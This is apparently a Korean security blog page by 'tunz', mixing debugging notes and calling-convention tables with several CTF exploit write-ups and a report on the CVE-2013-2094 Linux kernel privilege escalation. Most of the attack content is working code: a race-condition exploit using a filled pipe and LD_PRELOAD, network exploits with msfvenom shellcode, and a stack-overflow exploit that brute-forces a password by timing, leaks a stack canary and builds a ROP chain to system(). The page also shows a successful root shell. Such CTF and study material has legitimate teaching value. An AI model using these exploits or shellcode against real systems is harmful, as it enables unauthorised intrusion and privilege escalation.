1. import os
  2. import sys
  3.  
  4. if os.getuid() != 0:
  5.         print "[-] You are not root"
  6.         sys.exit(-1)
  7.  
  8. if len(sys.argv) < 2:
  9.         print "python attach.py [binary name] [script]"
  10.  
  11. output = os.popen('ps aux | grep '+sys.argv[1]).read()
  12.  
  13. outputs = output.split('\n')
  14. lastline = ""
  15. i=len(outputs)-2
  16. while i>= 0:
  17.         try:
  18.                 pid = outputs[i].split(None)[1]
  19.         except:
  20.                 i -= 1
  21.                 continue
  22.         if int(pid) < os.getpid():
  23.                 lastline = outputs[i]
  24.                 break
  25.         i -= 1
  26.  
  27. pid = lastline.split(None)[1]
  28.  
  29. print "[*] Attach to "' '.join(lastline.split(None)[-2:]) +" ("+pid+")"
  30.  
  31. if len(sys.argv) == 3:
  32.         print "gdb -q --pid="+pid+" -x "+sys.argv[2]
  33.         os.system("gdb -q --pid="+pid+" -x "+sys.argv[2])
  34. else:
  35.         print "gdb -q --pid="+pid
  36.         os.system("gdb -q --pid="+pid)


http://pastebin.com/GbBk2ADG


fork 프로그램 디버깅할때 ps로 pid 찾아서 attach 하는게 귀찮아서 만듬.

python attach.py 프로그램명

으로 실행하면, 프로그램명중 pid가 가장 큰걸 자동으로 attach

(프로그램명은 꼭 풀로 안써도 됌, grep으로 잡기때문에)

'Computer Security > Other' 카테고리의 다른 글

afl-fuzz for javascript  (1) 2015.02.13
gdb automatic attach python script  (0) 2013.11.27
posted by tunz

r0 - first argument

r1 - second argument

r2 - third argument

r3 - fourth argument

[sp, #0] - fifth argument

[sp, #4] - 6-th argument

[sp, #8] - 7-th argument

[sp, #12] - 8-th argument


func(1,2,3,4,5,6,7,8)을 콜했을때의 objdump 내용:


000083e0 <main>:


    83e0:       b580            push    {r7, lr}

    83e2:       b084            sub     sp, #16

    83e4:       af04            add     r7, sp, #16

    83e6:       2305            movs    r3, #5

    83e8:       9300            str     r3, [sp, #0]

    83ea:       2306            movs    r3, #6

    83ec:       9301            str     r3, [sp, #4]

    83ee:       2307            movs    r3, #7

    83f0:       9302            str     r3, [sp, #8]

    83f2:       2308            movs    r3, #8

    83f4:       9303            str     r3, [sp, #12]

    83f6:       2001            movs    r0, #1

    83f8:       2102            movs    r1, #2

    83fa:       2203            movs    r2, #3

    83fc:       2304            movs    r3, #4

    83fe:       f7ff ffe1       bl      83c4 <func>

    8402:       4618            mov     r0, r3

    8404:       46bd            mov     sp, r7

    8406:       bd80            pop     {r7, pc}




posted by tunz

ARM 바이너리를 디버깅 하다보면, ARM(Code 32)와 Thumb(Code 16)모드가 동시에 존재한다.


Bx 명령어가 실행되면, 옵코드를 읽는 모드가 변경된다( ARM -> Thumb or Thumb -> ARM)


가끔, IDA가 이걸 캐치하지 못하고, ARM을 Thumb로, 혹은 Thumb를 ARM으로 읽으려 하는 상황이 생기는데,


그럴때는 ALT - G 를 누른후, 

T의 값을 1로 해주면, 해당코드는 Thumb로 읽게 되고,

T의 값을 0으로 해주면, ARM으로 읽게된다.

posted by tunz

gcc 기준, ELF 32bit에서는 (%esp),0x4(%esp), ... 에 넣어서 넘기는 방식인데,


ELF64에서는 레지스터에 넣어서 넘긴다.

아직도 헷갈린다.


rdi : 첫번째인자

rsi: 두번째인자

rdx: 세번째인자

rcx: 네번째인자

r8: 다섯번째인자

r9: 여섯번째인자

(%rsp): 일곱번째인자

0x8(%rsp): 여덟번째인자

.

.

.



posted by tunz
  • hea 2013.10.25 22:36

    안녕하세요 tunz님 요근래 linux 상에서의 heap exploitation쪽좀 공부해보려고 하는데
    윈도우쪽은 힙스프레이 힙풍수 uaf와 같은 문서들이 많던데 리눅스쪽은 별루 없더라구요..
    리눅스상에서의 힙공격 기법이 윈도우랑 비슷하나요? 그리고 리눅스 상에서의 heap exploitation 문서나 좋은 글 추천좀 해주시면 감사하겠습니다.

    • tunz 2013.10.29 15:35 신고

      이걸 저도 찾아보려고 했는데 잘 없더라구요..
      요즘에서야 안드로이드가 뜨면서 조금씩 나오고 있는것 같긴한데, 제가 못찾는건지 없네요.
      우선 힙스프레이는 리눅스도 똑같이 쓰이더군요. 물론 특정조건이 맞아야겟지만.
      그 외에 CTF용은 크기가 작아서 직접 해보면서 조정하는 편이구요. 리눅스 실전같은 경우는 잘 모르겠네요


whitehatcontest 보고서.pdf



그 외에 stalking은 DNS검색해서 나온 전화번호를 구글링하면 어떤 블로그가 나왔다고 하고,


포렌식은 그냥 atuopsy로 열면 바로 답이 나왔다.

posted by tunz
  • 2013.09.16 09:10

    비밀댓글입니다

  • carpedm20 2013.10.10 10:55

    이쁜건 좋은데 검색이 사라짐

원래 제대로 깊게 분석해보려고 했는데... 급 귀찮음을 느껴서 단순히 소개만..


이 취약점은 2013년 5월 14일에 발표되었다.

그래서, 현재 대부분의 기본 커널에서 적용되는 취약점이다.

(Ubuntu 13.04 64bit에서도 확인해보았는데, 루트가 따였다.)

상당히 심각한 취약점이니, 꼭 패치를 해야한다.


tunz@ubuntu:~/cve-2013-2094$ cat /etc/os-release

NAME="Ubuntu"

VERSION="13.04, Raring Ringtail"

...

tunz@ubuntu:~/cve-2013-2094$ uname -a

Linux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

tunz@ubuntu:~/cve-2013-2094$ ./a.out

Searchin...

detected CONFIG_JUMP_LABEL

perf_swevent_enabled is at 0xffffffff81ef31c0

IDT at 0xffffffff81df4000

Using interrupt 128

Shellcode at 0x81000000

Triggering sploit

Got signal

Launching shell

# id

uid=0(root) gid=1000(tunz) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),108(lpadmin),124(sambashare),1000(tunz) 



이 취약점은 kernel/events/core.c의 perf_swevent_init 함수에서 발생하는 취약점이다.


static int perf_swevent_init(struct perf_event *event)

{

- int event_id = event->attr.config;

+ u64 event_id = event->attr.config;


event_id를 int형으로 받았다.

그 결과, 음수의 값도 받을수가 있게 되었고, 그다음의


 static_key_slow_inc(&perf_swevent_enabled[event_id]);


위 부분에서 문제가 발생한다.

위의 어레이에서 음수를 넣으면, 해당 어레이 뒤쪽의 값들을 조작할수가 있게 된다.


그 후로 이러쿵 저러쿵 해서, idt를 조작한후, 인터럽트 핸들러에 쉘코드를 덮어쓴후, 인터럽트를 이용해 루트를 따는듯하다.



**

우분투 기준 커널 업데이트방법

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade



posted by tunz
  • 2013.09.07 15:07

    비밀댓글입니다

    • tunz 2013.09.08 16:31 신고

      함수 콜을 할때 인자를 어떤식으로 넘기는지 알아보시면, 이해가 가실거같아요.
      대략적으로 말씀드리자면, gcc같은 경우는 첫번째 인자는 esp, 두번째 인자는 esp+4, ... 이런식으로 옮겨놓은다음에, 함수콜을 하게되면,
      [ret][arg1][arg2]... 이 상태가 되거든요, 그래서 ebp+8, ebp+c와 같은 방법으로 인자에 접근하게 됩니다.
      ROP를 할때는, ret을 이용해서 콜을 하기때문에, [call 할거][ret][arg1][arg2]... 로 세팅을 하게되면,
      call을 한 후에 [ret][arg1][arg2]와 같은 상태가 되니, 함수콜을 한것과 마찬가지가 되는거죠

  • 2013.09.08 19:31

    비밀댓글입니다

  • 2013.09.11 23:15

    비밀댓글입니다

    • tunz 2013.09.12 01:53 신고

      음..... 딱히 어떤 문서 하나만 보고 한게 아니라서 잘 모르겠네요.
      BOF원정대 페도라성 풀면서 그 write up들이랑, 이것저것 문서 찾아보면서 공부했던것같아요

  • levs 2013.10.07 21:04

    음 여기랑은 관련 없지만 질문하나 하겠습니다
    elf 디버깅 할때 보면 리눅스 elf 파일을 윈도우 아이다로 까주던데
    어떻게 리눅스에서 윈도우로 파일을 가져와 줄수 있나요?

    • tunz 2013.10.08 01:22 신고

      winscp나 단순히 ftp등을 이용해서 가져올수 있습니다.

레이스컨디션도 한번에 성공시킬수 있는 트릭들이 몇가지 있다.

아래의 코드는 그 트릭중 하나인, PIPE를 이용한 exploit이다.

PIPE를 가득채운후, stderr를 그 파이프에 연결해둔다.

이렇게되면, 어떤 에러메세지가 뜰때, 파이프가 꽉차있기때문에 그 에러메세지를 버퍼에 넣지 못해고 잠깐 멈추게 된다.

멈춰있는동안 파일 바꿔치기 작업을 여유롭게 해주고 다시 버퍼를 읽어서, 프로그램을 진행시키면 된다.

(꼭 실행직전이 아니라도, 실행도중 stdout의 길이에 따라서 멈춘다던가 하는 방법이 가능)


참고: http://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/



#include <stdio.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h>   int main() { system("rm 'test (deleted)'"); system("ln -s sh 'test (deleted)'"); system("rm test"); system("ln vuln test");   pid_t pid; ssize_t ret; int pipefd[2]; char buf[4096]; int flags; memset(buf,'A',4096); buf[4095]=0;   pipe(pipefd); // non-blocking flags = fcntl(pipefd[1], F_GETFL); flags |= O_NONBLOCK; fcntl(pipefd[1], F_SETFL, flags);   // fill pipe do { ret = write(pipefd[1], buf, 4096); } while ( !(ret == -1 && errno == EAGAIN) );   do { ret = write(pipefd[1], buf, 1); } while ( !(ret == -1 && errno == EAGAIN) );   // blocking flags = fcntl(pipefd[1], F_GETFL); flags &= ~O_NONBLOCK; fcntl(pipefd[1], F_SETFL, flags);   switch(pid = fork()) { case 0: sleep(1); remove("test"); int i=0; for (i=0; i<16; i++) read(pipefd[0],&buf,4096);   exit(0); default: dup2(2,77); dup2(pipefd[1], 2); putenv("LD_PRELOAD=tunz"); execlp("./test", "test", NULL); } }


posted by tunz

같은 문제에, NX만 없애고, 더이상 레지스터를 보여주지 않는다.

이건, pwn 100에서 딴 쉘을 이용해서 풀었다.

pwn 100에서, "objdump -T ????/libc.so.6 | grep system" 명령어와 "ldd"명령어를 통해 system 주소의 처음 2바이트와 마지막 3바이트를 알아냈다. (첫 2바이트는 f7, 뒤 3바이트는 430)

ASLR은 중간 3바이트에만 걸리기때문에, 해당부분은 브루트포싱을 해서 구해낸다.


아래는 익스플로잇

(주석은 stage1으로, 시스템 주소를 알아내는 작업, 그 후에는 주석처리를 한 후 원하는 커맨드를 입력한다.)


from socket import * from struct import * import hashlib import time   for i in range(0,0x1000): s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1120)) s.settimeout(2) #system = 0xf7000430+i*0x1000 system=0xf762f430 print "pwn2 system: "+hex(system) s.send("A") s.recv(1024)   #body = ";id>&4;" body = ";cat flag>&4;" body += "a"*(128-len(body))   SHA256 = hashlib.sha256(body).digest() data = "ProtoSecure1.0\xff\xff"+SHA256+body data += "a"*1364 data += pack('<L',system) data += "c"*(0x800-len(data)) s.send(data)   get=s.recv(1024) """ if "uid" in get: print get break """ time.sleep(0.2) try: get=s.recv(1024) print get except: s.close() continue """ if "uid" in get: print get break """   s.close() break


'Computer Security > CTF' 카테고리의 다른 글

[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
Whitehat Contest 개인전 예선 보고서  (2) 2013.09.12
[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
posted by tunz

NX가 걸려있지 않았고, 레지스트를 보여줬다.

그래서 그냥 해당 주소에 쉘코드를 넣고, EIP를 그쪽으로 우회하면 된다.


from struct import * import hashlib import time import sys   s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1116)) raw_input('go?') s.settimeout(2) s.recv(1024)   fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd))   # ./msfvenom -p linux/x86/exec CMD="/bin/cat flag" -b '\x0a\x00' shellcode += "\xba\xa1\xdd\xa6\x03\xd9\xc5\xd9\x74\x24\xf4\x5e\x29\xc9" +\ "\xb1\x0d\x83\xee\xfc\x31\x56\x0f\x03\x56\xae\x3f\x53\x69" +\ "\xbb\xe7\x05\x3c\xdd\x7f\x1b\xa2\xa8\x67\x0b\x0b\xd9\x0f" +\ "\xcc\x3b\x32\xb2\xa5\xd5\xc5\xd1\x64\xc2\xdb\x15\x89\x12" +\ "\xcc\x77\xe0\x7c\x3d\x1b\x93\xf4\x61\xbd\x3f\x94\x06\x41" +\ "\x97\x05\x41\xa0\xda\x2a" body = "a"*128   SHA256 = hashlib.sha256(body).digest() data = "ProtoSecure1.0\xf0\x0f"+SHA256+body data += "\x90"*(1388-len(shellcode)-4) data += shellcode+"\x90\x90\x90\x90" data += pack('<L',0xffffd2e8) s.send(data)   print s.recv(65000) print s.recv(65000) print s.recv(65000)   s.close()


'Computer Security > CTF' 카테고리의 다른 글

Whitehat Contest 개인전 예선 보고서  (2) 2013.09.12
[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
[SIGINT 2013] proxy exploit  (0) 2013.07.08
posted by tunz





from socket import *
import time
import base64
from struct import *
 
 
base_addr = 0xb782970d - 0x170d # get from stack smashing information
libc_base = 0xb7698113 - 0xf3 - 0x19020 # get from stack smashing information
 
read = base_addr + 0xd20
system = libc_base + 0x3cb20
pppr = base_addr + 0x19ba
bss = base_addr + 0x4240 + 0x300
 
# password check
"""
lists = range(ord('0'),ord('9')+1) + range(ord('a'),ord('z')+1) + range(ord('A'),ord('Z')+1)
j=0
password = ""
while j<16:
        for i in lists:
                print password+chr(i)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.197.130',20004))
                s_time = time.time()
                s.send("GET / HTTP/1.0\r\nAuthorization: Basic "+base64.encodestring(password+chr(i))+"\r\n\r\n")
                s.recv(1024)
                e_time = time.time()
                if (e_time - s_time) < 0.002:
                        password += chr(i)
                        break
        j=j+1
"""
password = "bdRT5ifONhSSbXUy"
 
print "Password is "+password
 
# canary check
"""
lists = range(0,0x100)
j=0
canary = ""
while j<4:
        for i in lists:
                print hex(i)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.197.130',20004))
                s_time = time.time()
                payload = password
                payload += "A"*(2032)
                payload += canary
                payload += chr(i)
                payload = base64.encodestring(payload).replace("\n","")
                s.send("GET / HTTP/1.0\r\nAuthorization: Basic "+payload+"\r\n\r\n")
                data = s.recv(1024)
                e_time = time.time()
                if "stack smashing" not in data:
                        canary += chr(i)
                        break
        j=j+1
 
print "canary: "+hex(unpack('<L',canary)[0])
"""
canary = pack('<L',0x36c9bf00)
 
#ebx check
"""
lists = range(0,0x100)
j=0
ebx = ""
while j<4:
        for i in lists:
                print hex(i)
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.197.130',20004))
                payload = password
                payload += "A"*(2032)
                payload += canary
                payload += "A"*12
                payload += ebx+chr(i)
                payload = base64.encodestring(payload).replace("\n","")
                s.send("GET / HTTP/1.0\r\nAuthorization: Basic "+payload+"\r\n\r\n")
                try:
                        data = s.recv(1024)
                except:
                        data = ""
                if "HTTP/1.0 200 Ok" in data:
                        ebx += chr(i)
                        break
        j=j+1
print "ebx: "+hex(unpack('<L',ebx)[0])
"""
ebx = pack('<L',0xb782c118)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.197.130',20004))
raw_input('go?')
 
s.send("GET / HTTP/1.0\r\n")
 
cmd = "id\x00"
 
payload = password
payload += "A"*(2032)
payload += canary
payload += "A"*12
payload += ebx
payload += "A"*12
payload += pack('<L',read)
payload += pack('<L',pppr)
payload += pack('<L',0)
payload += pack('<L',bss)
payload += pack('<L',len(cmd))
 
payload += pack('<L',system)
payload += "AAAA"
payload += pack('<L',bss)
 
payload = base64.encodestring(payload).replace("\n","")
 
s.send("Authorization: Basic "+payload+"\r\n")
 
time.sleep(0.5)
 
s.send(cmd)
 
time.sleep(0.5)
print s.recv(1024)
 
s.close()


posted by tunz